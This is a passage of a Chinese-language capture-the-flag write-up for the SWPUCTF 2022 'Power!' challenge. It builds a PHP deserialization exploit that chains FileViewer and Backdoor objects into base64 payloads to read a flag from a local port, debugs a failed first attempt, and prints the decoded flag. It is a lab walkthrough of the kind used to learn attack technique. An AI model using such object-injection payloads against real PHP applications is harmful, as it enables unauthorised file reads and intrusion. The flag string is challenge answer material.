$back -> superhacker = "127.0.0.1:65500/fl"; //这是goodman中我们想修改成的值

$back -> a -> path = "ag.php";

echo(base64_encode((serialize($back))));
?>

Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtOO3M6NToibG9jYWwiO047czo0OiJwYXRoIjtzOjY6ImFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTg6IjEyNy4wLjAuMTo2NTUwMC9mbCI7fQ==

然后传入这个参数之后,报错了

报错的信息是Backdoor没有loadfile这个方法,我们再去看这边反序列化的源码

1
2
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

最后执行loadfile的是$FV,但是我们代码里面定义的是$f$back中,由于反序列化是从里面到外面的,所以最后FV是Backdoor这个类的,
而这个类没有loadfile()这个函数,所以解决方法也知道了,我们让$back是一个新的FileViewer类的一个任意属性(但是我只有local属性成功了,可能是因为local没什么别的限制),然后去反序列化这个新的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class FileViewer{
public $black_list ;
public $local ;
public $path;

}
class Backdoor{
public $a;
public $b;
public $superhacker;

}

$f = new FileViewer();
$back = new Backdoor();

$back -> a = $f; # 入口,去执行$a类中的函数
$back -> b = "local"; #让goodman去修改loacl
$back -> superhacker = "127.0.0.1:65500/fl"; //这是goodman中我们想修改成的值

$back -> a -> path = "ag.php";

$new_one = new FileViewer();#新建一个对象
$new_one -> local = $back;
echo(base64_encode((serialize($new_one))));
?>

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NjoiYWcucGhwIjt9czoxOiJiIjtzOjU6ImxvY2FsIjtzOjExOiJzdXBlcmhhY2tlciI7czoxODoiMTI3LjAuMC4xOjY1NTAwL2ZsIjt9czo0OiJwYXRoIjtOO30=

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezIwMGE5YzU2LThiM2MtNDdmMC04ZmNjLWFjYjc5MWQ1N2M4NH0= | base64 -d
NSSCTF{200a9c56-8b3c-47f0-8fcc-acb791d57c84}

这题参考的大佬wp:NSS [SWPUCTF 2022 新生赛] Power!